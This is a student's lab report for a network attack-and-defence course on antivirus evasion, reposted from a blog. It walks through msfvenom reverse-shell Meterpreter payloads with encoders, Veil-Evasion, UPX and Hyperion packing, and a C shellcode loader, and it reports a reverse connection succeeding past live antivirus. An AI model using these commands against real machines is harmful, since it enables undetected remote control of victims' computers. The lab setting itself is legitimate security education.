• 2019-2020-2 网络对抗技术 20175311胡济栋 Exp3 免杀原理与实践


    2019-2020-2 网络对抗技术 20175311胡济栋 Exp3 免杀原理与实践

    目录

    • 一、实验介绍

    • 二、实验内容

      • 任务一:学习正确使用msf编码器、msfvenom生成如jar之类的其他文件、veil、加壳工具、 使用C + shellcode编程以及课堂其他课堂为介绍方法(3分)
      • 任务二:通过组合应用各种技术实现恶意代码免杀(0.5分)
      • 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(0.5分)
    • 三、实验要求

    • 四、实验感想

    一、实验介绍

    1.免杀原理

    • 免杀技术,全称为反杀毒技术(Anti Anti-Virus),是指对恶意软件的处理让其能够不被杀毒软件所检测,同时也是渗透测试中需要使用到的技术。
    • 学习免杀就必须了解恶意软件检测工具是如何运作的,知己知彼,百战百胜。

    2.恶意软件检测机制

    基于特征码的检测

    • 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
    • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。

    启发式恶意软件检测

    • 启发式Heuristic,简单来说,就是根据些片面特征去推断,通常是因为缺乏精确判定依据。
    • 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
    • 优点:可以检测0-day恶意软件、具有一定通用性
    • 缺点:实时监控系统行为,开销稍多;没有居于特征码的精确度高

    基于行为的恶意软件检测

    • 可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。

    3.免杀技术综述

    • 改变特征码的技术:加壳、使用encode进行编码、基于payload重新编译生成可执行文件、使用其他语言重写再编译
    • 改变行为的技术: 尽量使用反弹式连接,使用隧道技术,加密通讯数据;基于内存操作,减少对系统修改,加入混淆作用的正常功能代码
    • 非常规技术:使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工制作恶意软件

    二、实验内容

    任务一:学习正确使用msf编码器、msfvenom生成如jar之类的其他文件、veil、加壳工具、 使用C + shellcode编程以及课堂其他课堂为介绍方法

    1.正确使用msf编码器,生成exe文件

    • 实验二中我们利用msf生成过后门程序backdoor.exe,利用VirusTotalVirscan两个网站进行恶意软件检测。

    • 使用VirusTotal的检测结果如下:

    • 使用Virscan的检测结果如下:

    • 由此可见直接生成的exe文件能够被绝大多数杀毒软件识别,免杀性较低

    • 一次编码使用指令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'x00'不出现在shellcode中,因为shellcode以'x00'为结束符。

    • 在命令行输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.40.132 LPORT=5311 -f exe > 5311msf.exe

    • 注意,结果奚晨妍同学的提醒,这里的引号需要用英文引号而不是中文的,老师给出的是中文所以运行出来是产生不了正确的exe文件,下图为对比图。

    • 十次编码使用命令:i设置迭代次数,msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.40.132 LPORT=5311 -f exe > 5311msf.exe

    • shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要盯住这部分就可以了。

    • msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。所以一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。那如果使用msfvenom免杀,就要使用原生的模板。

    2.msfvenom生成jar文件

    • 生成java后门程序,在命令行输入msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.40.132 LPORT=5311 x> sxx_backdoor_java.jar
    • 网站中扫描结果如下,有差不多一半的杀毒软件可以识别

    3.msfvenom生成php文件

    • 生成PHP后门程序,在命令行输入msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.40.132 LPORT=5311 x> 20175311_backdoor.php,稍等片刻即可生成文件
    • 网站中扫描结果如下,仅有3家杀毒软件可以识别

    4. 使用veil-evasion生成后门程序及检测

    • 安装veil,按照学长学姐给出的教程来按照
    • 在命令行输入指令
    mkdir -p ~/.cache/wine
    cd ~/.cache/wine 
    wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
    wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
    

    • 输入sudo apt-get install veil-evasion进行安装veil
    • 输入veil打开veil,然后一直输入y直到安装成功,然后就是漫长的等待
    • 如果热点流量够的话,可以使用热点,速度加倍~
    • 如果出现了安装完成后,输入veil指令依然无法打开,可以尝试卸载后重新安装。输入sudo apt-get purge veil卸载veil,然后重新安装'sudo apt-get install veil'
    • 如果出现下图这种问题,显示ERROR找不到相应文件,则可以执行命令后面的建议。比如说这里可以执行/usr/share/veil/config/setup.sh --force --silent
    • 当你看到出现这句话和这样的界面就证明安装成功了。历尽千险,我终终终终终于安装成功了!!!!
    • 输入use evasion命令进入Evil-Evasion
    • 输入use c/meterpreter/rev_tcp.py进入配置界面
    • 设置反弹连接IP,地址为kali的IP地址set LHOST 192.168.40.132;设置端口号set LPORT 5311
    • 输入generate生成文件,并且输入名称veil_c_5311
    • 网站检测结果,有26%的杀毒软件可以检测

    5.使用加壳工具尝试

    加壳,全称是可执行程序资源压缩,对相应的资源进行压缩,压缩后仍可运行。它可以用来保护版权,但同时许多病毒也利用它来作为原理。接下来将使用压缩壳和保密壳来进行试验。

    • 使用压缩壳upx,输入upx 5311msf.exe -o sxx_upxed.exe得到加壳文件

    • 网站检测结果,有44%的杀毒软件可以检测

    • 将电脑的杀毒软件关掉,开始进行kali访问本机电脑主机,进行反弹连接,输入相关参数

    • 可以看到kali成功获取到了我电脑本机的桌面清单

    • 使用加密壳Hyperion,将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中

    • 输入命令wine hyperion.exe -v sxx_upxed.exe sxx_upxed_Hyperion.exe进行加壳

    • 同理进行反弹连接


    • 网站扫描结果如下:

    6.使用C+shellcode编程

    • 首先输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.132 LPORT=5311 -f c用c语言生成了一段shellcode
    • 创建一个文件,将char buf中的数据赋值其中,代码如下:
    unsigned char buf[] = 
    "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
    此处省略
    "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
    
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    }
    

    • 输入i686-w64-mingw32-g++ 20175311.c -o 20175311.exe编译成为可执行文件
    • 网站扫描结果如下:

    7.使用其他课堂未介绍方法

    • 启动veil,输入use 1选择veil-evasion,输入list查看清单
    • 这里我们根据同学的博客,选择29荷载,Python下shellcode的AES加密。
    • 可以利用set更改其中的数据,然后用generate生成
    • 输入回连的相关信息
    • 最后生成的文件都在/var/lib/veil/output/source/,可以看到setup.pyrume.bat文件
    • 启动msfconsole,但是由于没有python环境,无法控制报错

    任务二:通过组合应用各种技术实现恶意代码免杀

    • 通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀的目的
    • 实验任务截图如下:

    任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    • 使用的免杀方法:先用msfvenom生成shellcode,再使用压缩壳和加密壳进行加壳。
    • 实验环境:win10操作系统,杀毒软件为金山毒霸2017.6.16.18427,病毒库版本为2020.03.03.17

    三、实验要求

    基础问题回答

    1.杀软是如何检测出恶意代码的?

    • 基于特征码的检测:简单来说一段特征码就是一段或多段数据,经过对许多恶意代码的分析,我们发现了该类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,即特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。
    • 启发式恶意软件检测:就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
    • 基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。

    2.免杀是做什么?

    • 使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。

    3.免杀的基本方法有哪些?

    • 改变特征码的技术:加壳、使用encode进行编码、基于payload重新编译生成可执行文件、使用其他语言重写再编译
    • 改变行为的技术: 尽量使用反弹式连接,使用隧道技术,加密通讯数据;基于内存操作,减少对系统修改,加入混淆作用的正常功能代码
    • 非常规技术:使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工制作恶意软件

    4.开启杀软能绝对防止电脑中恶意代码吗?

    • 并不一定,在这个实验过程中,通过加壳的操作有时候也能够骗过杀毒软件的查杀。所以杀毒软件也并不是万能的,偶尔也会出现一些漏杀,不过总体来说还是比较安全可靠的。

    四、实验感想

    • 我在实验刚刚起步的任务一就遇到了问题,kali中输入msfconsole后就报错,如下图。查询百度发现是编码的问题,于是重新安装了msf,并且更新相关文件。

    • 这是网络对抗技术的第三次实验,课题是关于免杀技术,通过这次实验的学习实践,我掌握了一些比较基础的免杀技巧,不过道高一尺魔高一丈,杀毒软件是在不断更新的,所以所有的免杀技术也是在不断更新,也不可能是一劳永逸的。这其实就是杀毒软件与免杀技术的比拼,我还需要继续学习与研究更好更先进的免杀技术。
    • 在实验过程中,最最花心思的部分是veil的安装,由于一开始按照学长学姐的步骤我并不能成功安装,于是我在网上自己查找资料,总共安装了四五个版本的veil还是没有能够解决问题,真的很崩溃。好在最后看到同学博客中写到可以重新卸载后再尝试安装,于是我就死马当活马医了,没想到还真的成功了,不过还是花费了很长很长的时间。到最后我也依然没有搞清楚为什么veil安装会出现那么多报错,为什么最后卸载重新安装就成功了。
  • 相关阅读:
    Oracle11g聚合函数
    和为S的连续正数数列,动态规划,C++
    统计一个数组在排序数组中出现的次数,C++,二分查找
    寻找两个链表的第一个公共子节点,C++
    二维数组中的查找
    数组中的逆序对,C++,分治算法
    得到从小到大的第N个丑数的三种方式(C++)一维动态规划
    连续字数组的最大和(Java)一个int数组,求其中的最大的连续数的和
    n个整数,求这中间最小的k个整数(Java)
    两个字符串的最长公共子串求法(C++、动态规划)
  • 原文地址:https://www.cnblogs.com/hujidong42/p/12558676.html
Copyright © 2020-2023  润新知